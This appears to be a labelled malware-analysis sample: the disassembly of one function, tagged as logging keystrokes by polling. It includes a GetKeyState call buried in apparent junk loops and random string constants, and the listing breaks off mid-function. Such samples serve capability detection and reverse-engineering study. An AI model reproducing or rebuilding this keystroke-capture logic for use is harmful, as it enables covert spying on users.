Function at 0x1001bc94
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10065b9e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x414
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x1c]
test eax, eax
je 0x1001d642
lea eax, [ebp + 0x10]
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x25c], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2ac], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x240], eax
mov eax, dword [ebp - 0x1a4]
movzx eax, byte [eax]
test eax, eax
je 0x1001bdd5
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x23c], eax
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x244], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x1dc], eax
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x24c], eax
push dword [ebp - 0x24c]
mov eax, dword [ebp - 0x254]
push dword [eax]
mov eax, dword [ebp - 0x1dc]
push dword [eax]
lea eax, [ebp - 0x35c]
push eax
call fcn.10018779
add esp, 0x10
mov dword [ebp - 0x238], eax
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0x1d8], eax
and dword [ebp - 4], 0
push dword [ebp - 0x1d8]
mov ecx, dword [ebp - 0x2a8]
call fcn.1001eeec
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x35c]
call fcn.1001ef21
jmp 0x1001d640
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x240]
mov dword [ebp - 0x184], eax
mov eax, dword [0x10083350]
and eax, 1
jne 0x1001be21
mov eax, dword [0x10083350]
or eax, 1
mov dword [0x10083350], eax
mov dword [ebp - 4], 1
mov ecx, 0x10083354
call fcn.1001f006
push 0x10066c93
call fcn.1004c2a6
pop ecx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
call fcn.1001352b
mov dword [ebp - 0x58], eax
push 3
lea ecx, [ebp - 0xb0]
call fcn.100014bd
mov dword [ebp - 4], 2
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0x20], 0x87a5eafb
mov dword [ebp - 0x2f8], 0xfffffff8
mov dword [ebp - 0x338], 0xffffffff
mov dword [ebp - 0x308], 0xffffffff
mov dword [ebp - 0x340], 0xfffffffa
mov dword [ebp - 0xd8], 0x107
mov dword [ebp - 0x1e8], str.vontprx_emjaxg_ydbfj_svvkrxb_qhpfyafp_jfyyvvs_miphgippk
cmp dword [ebp - 0xd8], 0x3d9
jle 0x1001bf76
push 0x135d
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
and dword [ebp - 0x90], 0
jmp 0x1001bec2
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x4435
jge 0x1001bf67
and dword [ebp - 0x4c], 0
jmp 0x1001bedf
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x76ec
jge 0x1001bf62
and dword [ebp - 0x84], 0
jmp 0x1001befe
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x5322
jge 0x1001bf5d
and dword [ebp - 0x54], 0
jmp 0x1001bf17
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x569f
jge 0x1001bf5b
mov eax, dword [ebp - 0x90]
imul eax, dword [ebp - 0x4c]
cdq
idiv dword [ebp - 0x84]
or edx, dword [ebp - 0x54]
mov eax, edx
cdq
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], edx
push dword [ebp - 0x264]
push dword [ebp - 0x268]
mov ecx, 0x10081dd8
call fcn.1000c947
jmp 0x1001bf10
jmp 0x1001bef1
jmp 0x1001bed8
jmp 0x1001beb5
push 0x10c1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
mov dword [ebp - 0x348], 0xffffffff
mov byte [ebp - 4], 3
cmp dword [ebp - 0xd8], 0xfffffd6a
jge 0x1001bfa0
mov edx, dword [ebp - 0x1e8]
mov ecx, 0x10081dd8
call fcn.1000fdbf
jmp 0x1001bfbc
mov dword [ebp - 4], 2
jmp 0x1001bfcc
mov dword [ebp - 0x33c], 0x3eb999c8
push 2
lea ecx, [ebp - 0x2e8]
call fcn.100014bd
mov byte [ebp - 4], 5
push 1
push 1
lea eax, [ebp - 0xb0]
push eax
push 0x384f
lea eax, [ebp - 0x278]
push eax
call fcn.1001a234
add esp, 0x14
push 0x6411
push 0x16e3
push 1
push 0x6e7e
push 0x6395
push 1
lea eax, [ebp - 0x2e8]
push eax
push 1
push 0xc3a
lea eax, [ebp - 0x278]
push eax
call fcn.1001a315
add esp, 0x28
mov byte [ebp - 0x21], 0
movzx eax, byte [ebp - 0x21]
test eax, eax
je 0x1001c071
push 1
push 0
push 0x7703
push 0x44b7
push 0x2c8d
push 0x21c
push 0x75fd
push 0x1204
call fcn.1001ad00
add esp, 0x20
push 0
lea ecx, [ebp - 0xb0]
call fcn.1000155c
push 1
lea ecx, [ebp - 0xb0]
call fcn.1000155c
mov esi, dword [eax]
inc esi
push 2
lea ecx, [ebp - 0xb0]
call fcn.1000155c
cmp esi, dword [eax]
jne 0x1001c0ab
mov dword [ebp - 0x1f0], 1
jmp 0x1001c0b2
and dword [ebp - 0x1f0], 0
push 0
lea ecx, [ebp - 0xb0]
call fcn.1000155c
mov eax, dword [ebp - 0xb8]
imul eax, dword [ebp - 0xb8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x32c], eax
push 2
lea ecx, [ebp - 0xb0]
call fcn.1000155c
or eax, 0xffffffff
je 0x1001c0fc
cmp dword [ebp - 0x20], 0
je 0x1001c0fc
mov dword [ebp - 0x18c], 1
jmp 0x1001c103
and dword [ebp - 0x18c], 0
mov esi, dword [ebp - 0xb8]
imul esi, dword [ebp - 0x18c]
push 2
lea ecx, [ebp - 0xb0]
call fcn.1000155c
cmp esi, dword [eax]
jle 0x1001c12d
mov dword [ebp - 0x248], 1
jmp 0x1001c134
and dword [ebp - 0x248], 0
push 1
lea ecx, [ebp - 0xb0]
call fcn.1000155c
mov esi, dword [ebp - 0x20]
push 2
lea ecx, [ebp - 0xb0]
call fcn.1000155c
cmp esi, dword [eax]
jl 0x1001c161
mov dword [ebp - 0x194], 1
jmp 0x1001c168
and dword [ebp - 0x194], 0
cmp dword [ebp - 0x194], 0xa9f4f9a0
je 0x1001c180
mov dword [ebp - 0x138], 1
jmp 0x1001c187
and dword [ebp - 0x138], 0
push 2
lea ecx, [ebp - 0xb0]
call fcn.1000155c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x138]
jg 0x1001c1ba
mov dword [ebp - 0xcc], 0x99da
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
jmp 0x1001c4b6
mov dword [ebp - 0x200], 0x69b4
mov dword [ebp - 0x140], 7
mov dword [ebp - 0x34c], 0x3c7d7575
mov dword [ebp - 0x190], 0x28bb
mov dword [ebp - 0x29c], str.obcxwbwpl_msinsrsd_hnnp_jhy_xhifisjpx_ddrdkplw_zdonlaxo_wshupmi_oruapfb_byckqmmg_jzcse
cmp dword [ebp - 0x190], 0x2b7f
jle 0x1001c2d1
and dword [ebp - 0x94], 0
jmp 0x1001c212
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x236d
jge 0x1001c2d1
and dword [ebp - 0x5c], 0
jmp 0x1001c22f
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x497
jge 0x1001c2cc
and dword [ebp - 0x44], 0
jmp 0x1001c249
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x6aee
jge 0x1001c2c7
and dword [ebp - 0x64], 0
jmp 0x1001c25f
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x49a
jge 0x1001c2c2
mov eax, dword [ebp - 0x94]
and eax, dword [ebp - 0x5c]
and eax, dword [ebp - 0x44]
or eax, dword [ebp - 0x64]
cdq
mov dword [ebp - 0x274], eax
mov dword [ebp - 0x270], edx
push dword [ebp - 0x270]
push dword [ebp - 0x274]
lea ecx, [ebp - 0x3a0]
call fcn.10001301
pop ecx
pop ecx
mov dword [ebp - 0x1f8], eax
mov ecx, dword [ebp - 0x1f8]
call fcn.100014b2
push eax
call fcn.1004c2d0
pop ecx
lea ecx, [ebp - 0x3a0]
call fcn.100014a8
jmp 0x1001c258
jmp 0x1001c242
jmp 0x1001c228
jmp 0x1001c205
mov byte [ebp - 4], 6
cmp dword [ebp - 0x190], 0x26df
jge 0x1001c2ed
push dword [ebp - 0x29c]
call fcn.1004c2d0
pop ecx
jmp 0x1001c309
mov dword [ebp - 4], 5
jmp 0x1001c319
mov dword [ebp - 0x9c], 0
jmp 0x1001c332
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 1
jge 0x1001c34e
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0x334], 0xe17c927d
jmp 0x1001c325
mov eax, 0x22d800f4
test eax, eax
je 0x1001c3a0
mov eax, dword [ebp - 0x20]
add eax, 0x6657
cmp eax, dword [ebp - 0x200]
je 0x1001c373
mov dword [ebp - 0xe0], 1
jmp 0x1001c37a
and dword [ebp - 0xe0], 0
mov eax, dword [ebp - 0xe0]
add eax, 0x6ac116e0
mov dword [ebp - 0x140], eax
je 0x1001c3a0
push 6
pop eax
test eax, eax
je 0x1001c3a0
mov dword [ebp - 0xe8], 1
jmp 0x1001c3a7
and dword [ebp - 0xe8], 0
push 0
lea ecx, [ebp - 0xb0]
call fcn.1000155c
mov ecx, dword [ebp - 0xe8]
cmp ecx, dword [eax]
jl 0x1001c3ca
mov dword [ebp - 0x170], 1
jmp 0x1001c3d1
and dword [ebp - 0x170], 0
cmp dword [ebp - 0x170], 0xffffffff
ja 0x1001c3de
cmp dword [ebp - 0x20], 0
push 0xfffffffffffffffd
pop eax
test eax, eax
jne 0x1001c400
push 2
lea ecx, [ebp - 0xb0]
call fcn.1000155c
cmp dword [eax], 0
jne 0x1001c400
and dword [ebp - 0xf0], 0
jmp 0x1001c40a
mov dword [ebp - 0xf0], 1
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x1001c45e
mov byte [ebp - 0x23], 0
push 0x4b25
push 0x18df
push 0x41c3
push 1
push 1
push 1
lea eax, [ebp - 0x23]
push eax
call fcn.1001a7dd
add esp, 0x1c
mov byte [ebp - 0x26], 0
push 1
lea eax, [ebp - 0x26]
push eax
push 0x25fb
push 1
push 0x25f7
call fcn.100196cc
add esp, 0x14
jmp 0x1001c492
mov byte [ebp - 0x25], 0
push 0x5c82
push 1
push 0x66ec
push 0x109b
push 0x5707
lea eax, [ebp - 0x25]
push eax
push 0x2206
push 0xb1f
push 0
push 0
call fcn.1001d69a
add esp, 0x28
push 1
lea ecx, [ebp - 0x2e8]
call fcn.1000155c
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x148]
mov dword [ecx], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2e8]
call fcn.10001540
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb0]
call fcn.10001540
cmp dword [ebp - 0x58], 6
jae 0x1001c915
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x250], eax
lea eax, [ebp - 0x344]
push eax
mov ecx, 0x10083354
call fcn.1001ed88
push eax
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x30c]
push eax
mov ecx, 0x10083354
call fcn.1001ed96
mov ecx, eax
call fcn.1001edab
movzx eax, al
test eax, eax
je 0x1001c915
mov dword [ebp - 0x18], 0x53d06ce1
mov dword [ebp - 0x128], 7
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xf8], 0x18b2
mov dword [ebp - 0x284], str.bcnn_vbtmgln_msfcsky_xpzenxdl_mjcbdk_dmcpz_vxyum
cmp dword [ebp - 0xf8], 0x18f9
jle 0x1001c657
push 0x334
call dword [sym.imp.USER32.dll_GetKeyState]
and dword [ebp - 0x6c], 0
jmp 0x1001c57c
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x5d89
jge 0x1001c657
and dword [ebp - 0xa0], 0
jmp 0x1001c59f
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x2527
jge 0x1001c652
and dword [ebp - 0x74], 0
jmp 0x1001c5bc
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x637d
jge 0x1001c64d
and dword [ebp - 0x98], 0
jmp 0x1001c5df
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0x775a
jge 0x1001c648
mov eax, dword [ebp - 0x6c]
sub eax, dword [ebp - 0xa0]
add eax, dword [ebp - 0x74]
xor eax, dword [ebp - 0x98]
cdq
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], edx
push dword [ebp - 0x27c]
push dword [ebp - 0x280]
lea ecx, [ebp - 0x3e8]
call fcn.10001301
pop ecx
pop ecx
mov dword [ebp - 0x208], eax
mov ecx, dword [ebp - 0x208]
call fcn.100014b2
push eax
call fcn.1004c2d0
pop ecx
lea ecx, [ebp - 0x3e8]
call fcn.100014a8
jmp 0x1001c5d2
jmp 0x1001c5b5
jmp 0x1001c592
jmp 0x1001c575
mov dword [ebp - 0x218], 7
mov dword [ebp - 4], 8
cmp dword [ebp - 0xf8], 0x1788
jge 0x1001c680
push dword [ebp - 0x284]
call fcn.1004c2d0
pop ecx
jmp 0x1001c69c
or dword [ebp - 4], 0xffffffff
jmp 0x1001c6a6
cmp dword [ebp - 0x18], 0
je 0x1001c6cb
push 1
push 0
push 0x7d52
lea eax, [ebp - 0x18]
push eax
push 0x423f
call fcn.1001a234
add esp, 0x14
jmp 0x1001c8b9
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0xbc], 0xffffffff
mov dword [ebp - 0x198], 0xdb6b7be2
mov dword [ebp - 0x258], 1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x328], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x2fc], eax
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x18]
jne 0x1001c72b
mov dword [ebp - 0x188], 1
jmp 0x1001c732
and dword [ebp - 0x188], 0
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x188]
cmp eax, dword [ebp - 0x18]
jg 0x1001c74d
mov dword [ebp - 0x100], 1
jmp 0x1001c754
and dword [ebp - 0x100], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x100], eax
jg 0x1001c76b
mov dword [ebp - 0x150], 1
jmp 0x1001c772
and dword [ebp - 0x150], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x150], eax
jge 0x1001c789
mov dword [ebp - 0x108], 1
jmp 0x1001c790
and dword [ebp - 0x108], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x108], eax
je 0x1001c7a7
mov dword [ebp - 0x178], 1
jmp 0x1001c7ae
and dword [ebp - 0x178], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x178], eax
je 0x1001c7c5
mov dword [ebp - 0x210], 1
jmp 0x1001c7cc
and dword [ebp - 0x210], 0
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0x2c]
jl 0x1001c7e3
mov dword [ebp - 0x110], 1
jmp 0x1001c7ea
and dword [ebp - 0x110], 0
mov eax, dword [ebp - 0x110]
add eax, 9
cmp eax, 0xe327
jle 0x1001c806
mov dword [ebp - 0x158], 1
jmp 0x1001c80d
and dword [ebp - 0x158], 0
mov eax, dword [ebp - 0x128]
cmp dword [ebp - 0x158], eax
jle 0x1001c827
mov dword [ebp - 0x118], 1
jmp 0x1001c82e
and dword [ebp - 0x118], 0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x4981c586
je 0x1001c852
mov dword [ebp - 0x120], 1
jmp 0x1001c859
and dword [ebp - 0x120], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x120], eax
je 0x1001c873
mov dword [ebp - 0x160], 1
jmp 0x1001c87a
and dword [ebp - 0x160], 0
mov eax, dword [ebp - 0x160]
dec eax
mov dword [ebp - 0x258], eax
lea eax, [ebp - 0xb4]
push eax
push 1
push 0x2b8b
lea eax, [ebp - 0x18]
push eax
push 0x5022
push 0x4244
push 0x4fe2
push 0x722
push 1
push 0
call fcn.1001d69a
add esp, 0x28
push 1
push 1
push 0x451
push 0x509a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.1001ad00
add esp, 0x20
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x2b0], eax
lea eax, [ebp - 0x2b0]
push eax
mov ecx, 0x10083354
call fcn.1001f05a
push eax
mov ecx, dword [ebp - 0x184]
call fcn.1000ca81
jmp 0x1001d65a
push 3
lea ecx, [ebp - 0x2d0]
call fcn.100014bd
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x260], 0xfffffffa
mov dword [ebp - 0x7c], 0x51cdcb36
mov dword [ebp - 0x220], 0x979b3895
lea eax, [ebp - 0x34]
push eax
push 0x766
lea eax, [ebp - 0x2d0]
push eax
push 0x5132
push 0
call fcn.1001e507
add esp, 0x14
mov dword [ebp - 0x34], 0
jmp 0x1001c973
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 4
jge 0x1001c989
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x2c4], 4
jmp 0x1001c96c
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2c4], 2
jmp 0x1001c9b7
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2c4]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x2c4], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2c4], 0
jl 0x1001ca8b
mov dword [ebp - 0x180], 0xfffffff7
mov eax, dword [ebp - 0x180]
dec eax
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x7c], 0
jmp 0x1001c9f2
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 2
jg 0x1001ca86
mov dword [ebp - 0x228], 0xa96950a4
push 4
pop eax
imul eax, eax, 3
push dword [ebp + eax - 0x2c4]
lea ecx, [ebp - 0x2d0]
call fcn.1000155c
cmp dword [eax], 0
jne 0x1001ca6b
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x304], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2c4]
cmp eax, dword [ebp - 0x260]
jl 0x1001ca50
mov dword [ebp - 0x130], 1
jmp 0x1001ca57
and dword [ebp - 0x130], 0
mov eax, dword [ebp - 0x130]
add eax, 4
jne 0x1001ca6b
and dword [ebp - 0x168], 0
jmp 0x1001ca75
mov dword [ebp - 0x168], 1
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x228], eax
jmp 0x1001c9eb
jmp 0x1001c99c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2d0]
call fcn.10001540
lea ecx, [ebp - 0x324]
call fcn.10001deb
mov dword [ebp - 4], 0xb
mov eax, dword [ebp - 0x58]
xor edx, edx
push 2
pop ecx
div ecx
test edx, edx
jne 0x1001cff2
mov dword [ebp - 0x30], 0xffffffff
push 2
lea ecx, [ebp - 0x2f4]
call fcn.100014bd
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x3c], 0
jmp 0x1001cae6
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jge 0x1001cafc
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x388], 0xa2a3b3f3
jmp 0x1001cadf
push 1
push 1
lea eax, [ebp - 0x3c]
push eax
push 0x429c
push 0x710a
lea eax, [ebp - 0x2f4]
push eax
push 0x2430
call fcn.10019782
add esp, 0x1c
mov dword [ebp - 0xd0], 0x5660
mov dword [ebp - 0x1c0], str.limtlpo_jcy_bjtw_gln_oyobt_rkmnqbt
cmp dword [ebp - 0xd0], 0x5936
jle 0x1001cc07
and dword [ebp - 0x8c], 0
jmp 0x1001cb5c
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x627a
jge 0x1001cbf7
and dword [ebp - 0x48], 0
jmp 0x1001cb79
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x300d
jge 0x1001cbf2
and dword [ebp - 0x50], 0
jmp 0x1001cb8f
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x657b
jge 0x1001cbf0
mov eax, dword [ebp - 0x8c]
imul eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x50]
cdq
mov dword [ebp - 0x28c], eax
mov dword [ebp - 0x288], edx
push dword [ebp - 0x288]
push dword [ebp - 0x28c]
lea ecx, [ebp - 0x3b8]
call fcn.10001301
pop ecx
pop ecx
mov dword [ebp - 0x290], eax
mov ecx, dword [ebp - 0x290]
call fcn.100014b2
push eax
call fcn.1004c2d0
pop ecx
lea ecx, [ebp - 0x3b8]
call fcn.100014a8
jmp 0x1001cb88
jmp 0x1001cb72
jmp 0x1001cb4f
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov dword [ebp - 0x30], 0xffffffee
jmp 0x1001cc17
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xa
jl 0x1001ccec
mov dword [ebp - 0x26c], 0x509978f3
mov dword [ebp - 0x1c4], 0xb1b055cc
push 3
lea ecx, [ebp - 0x2dc]
call fcn.100014bd
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x1d4], 0xfffffffd
mov dword [ebp - 0x230], 1
push 1
lea eax, [ebp - 0x350]
push eax
push 1
push 0x19b3
push 1
push 0x705f
push 0x41f2
lea eax, [ebp - 0x2dc]
push eax
push 0x2bca
push 0x1379
push 0x41fa
call fcn.1001ae53
add esp, 0x2c
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x26c]
push eax
push 1
lea eax, [ebp - 0x2f4]
push eax
lea eax, [ebp - 0x2dc]
push eax
push 0x7634
lea eax, [ebp - 0x30]
push eax
push 0
lea eax, [ebp - 0x1c4]
push eax
push 0xa09
lea eax, [ebp - 0x1d4]
push eax
call fcn.1001a07d
add esp, 0x2c
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2dc]
call fcn.10001540
jmp 0x1001cc10
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0xd0], 0x5623
jge 0x1001cd08
push dword [ebp - 0x1c0]
call fcn.1004c2d0
pop ecx
jmp 0x1001cd24
mov dword [ebp - 4], 0xc
jmp 0x1001cd34
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x2f4]
call fcn.10001540
lea eax, [ebp - 0x40c]
push eax
call fcn.10010d88
pop ecx
mov esi, eax
lea edi, [ebp - 0x374]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x374]
lea edi, [ebp - 0x380]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
call fcn.1001360f
mov dword [ebp - 0x1e4], eax
lea eax, [ebp - 0x380]
push eax
push dword [ebp - 0x1e4]
push dword [ebp - 0x58]
lea eax, [ebp - 0x3d0]
push eax
call fcn.10018113
add esp, 0x10
mov dword [ebp - 0x1ec], eax
push dword [ebp - 0x1ec]
lea ecx, [ebp - 0x324]
call fcn.10001dfe
lea ecx, [ebp - 0x3d0]
call fcn.10001e23
cmp dword [ebp - 0x58], 6
jae 0x1001cff2
mov dword [ebp - 0xd4], 0x1d14
mov dword [ebp - 0x1fc], str.odsoainkv_dnb_ogny_gtaue_ztx_bbmaenkm_csqklqpur_ybdjk_xbq_qqlnv_kdzbs_bav
cmp dword [ebp - 0xd4], 0x1edc
jle 0x1001ce64
and dword [ebp - 0x60], 0
jmp 0x1001cdf2
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x33cd
jge 0x1001ce64
and dword [ebp - 0x68], 0
jmp 0x1001ce08
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x12ea
jge 0x1001ce62
mov eax, dword [ebp - 0x60]
or eax, dword [ebp - 0x68]
cdq
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], edx
push dword [ebp - 0x294]
push dword [ebp - 0x298]
lea ecx, [ebp - 0x400]
call fcn.10001301
pop ecx
pop ecx
mov dword [ebp - 0x1f4], eax
mov ecx, dword [ebp - 0x1f4]
call fcn.100014b2
push eax
call fcn.1004c2d0
pop ecx
lea ecx, [ebp - 0x400]
call fcn.100014a8
jmp 0x1001ce01
jmp 0x1001cdeb
mov dword [ebp - 0x1c], 0
jmp 0x1001ce74
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1001ce8a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1a0], 1
jmp 0x1001ce6d
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0xd4], 0x1cf9
jge 0x1001cea6
push dword [ebp - 0x1fc]
call fcn.1004c2d0
pop ecx
jmp 0x1001cec2
mov dword [ebp - 4], 0xb
jmp 0x1001ced2
mov dword [ebp - 0x1c], 0
jmp 0x1001cee2
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001cef8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x368], 0x1e707165
jmp 0x1001cedb
mov byte [ebp - 0x22], 0
push 1
push 0x1d08
push 1
push 0x3472
push 0x4395
lea eax, [ebp - 0x22]
push eax
push 0x6a87
push 0x71ba
push 0x3792
push 1
call fcn.1001b4f7
add esp, 0x28
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1a0]
mov dword [ebp - 0x300], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x1a0]
cmp ecx, dword [ebp + eax - 0x1a0]
jne 0x1001cf67
mov dword [ebp - 0xdc], 1
jmp 0x1001cf6e
and dword [ebp - 0xdc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1a0]
cmp dword [ebp - 0xdc], eax
jg 0x1001cf8f
mov dword [ebp - 0xe4], 1
jmp 0x1001cf96
and dword [ebp - 0xe4], 0
cmp dword [ebp - 0xe4], 0xf84255eb
ja 0x1001cfae
mov dword [ebp - 0xec], 1
jmp 0x1001cfb5
and dword [ebp - 0xec], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xec]
mov dword [ebp + eax - 0x368], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x204], eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x204]
push eax
mov ecx, 0x10083354
call fcn.1001f05a
mov ecx, eax
call fcn.1000ca81
push 1
lea ecx, [ebp - 0xc8]
call fcn.100014bd
mov byte [ebp - 4], 0x12
push 1
lea ecx, [ebp - 0x1d0]
call fcn.100014bd
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x1a8], 0x6d35
mov dword [ebp - 0x40], 0
jmp 0x1001d02e
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jge 0x1001d04a
push dword [ebp - 0x40]
lea ecx, [ebp - 0xc8]
call fcn.1000155c
